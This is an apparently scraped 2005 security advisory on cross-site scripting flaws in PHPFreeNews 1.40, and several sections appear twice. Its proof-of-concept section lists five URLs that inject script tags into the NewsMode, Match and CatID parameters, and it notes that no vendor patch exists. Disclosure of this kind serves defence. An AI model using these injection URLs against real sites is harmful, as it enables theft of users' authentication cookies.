PHPFreeNews Multiple Cross-Site Scripting Vulnerabilities
BID:14590
Info
PHPFreeNews Multiple Cross-Site Scripting Vulnerabilities
| Bugtraq ID: | 14590 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 17 2005 12:00AM |
| Updated: | Aug 17 2005 12:00AM |
| Credit: | h4cky <www.h4cky0u.org> is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
PHPFreeNews PHPFreeNews 1.40 |
| Not Vulnerable: | |
Discussion
PHPFreeNews Multiple Cross-Site Scripting Vulnerabilities
PHPFreeNews is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
PHPFreeNews is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
Exploit / POC
PHPFreeNews Multiple Cross-Site Scripting Vulnerabilities
No exploit is required.
The following proof of concept URI are available:
http://www.example.com/phpfn/NewsCategoryForm.php?NewsMode="><script>alert(XSS);</script>&CatID=0
http://www.example.com/phpfn/SearchResults.php?Match='><script>alert(XSS);</script>&NewsMode=1&SearchNews=Search&CatID=0
http://www.example.com/phpfn/SearchResults.php?Match=1&NewsMode=1&SearchNews=Search&CatID='><script>alert(XSS);</script>
http://www.example.com/phpfn/SearchResults.php?Match=1&NewsMode="><script>alert(XSS);</script>&SearchNews=Search&CatID=0
http://www.example.com/phpfn/SearchResults.php?Match="><script>alert(XSS);</script>&NewsMode=1&SearchNews=Search&CatID=0
No exploit is required.
The following proof of concept URI are available:
http://www.example.com/phpfn/NewsCategoryForm.php?NewsMode="><script>alert(XSS);</script>&CatID=0
http://www.example.com/phpfn/SearchResults.php?Match='><script>alert(XSS);</script>&NewsMode=1&SearchNews=Search&CatID=0
http://www.example.com/phpfn/SearchResults.php?Match=1&NewsMode=1&SearchNews=Search&CatID='><script>alert(XSS);</script>
http://www.example.com/phpfn/SearchResults.php?Match=1&NewsMode="><script>alert(XSS);</script>&SearchNews=Search&CatID=0
http://www.example.com/phpfn/SearchResults.php?Match="><script>alert(XSS);</script>&NewsMode=1&SearchNews=Search&CatID=0
Solution / Fix
PHPFreeNews Multiple Cross-Site Scripting Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
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PHPFreeNews Multiple Cross-Site Scripting Vulnerabilities
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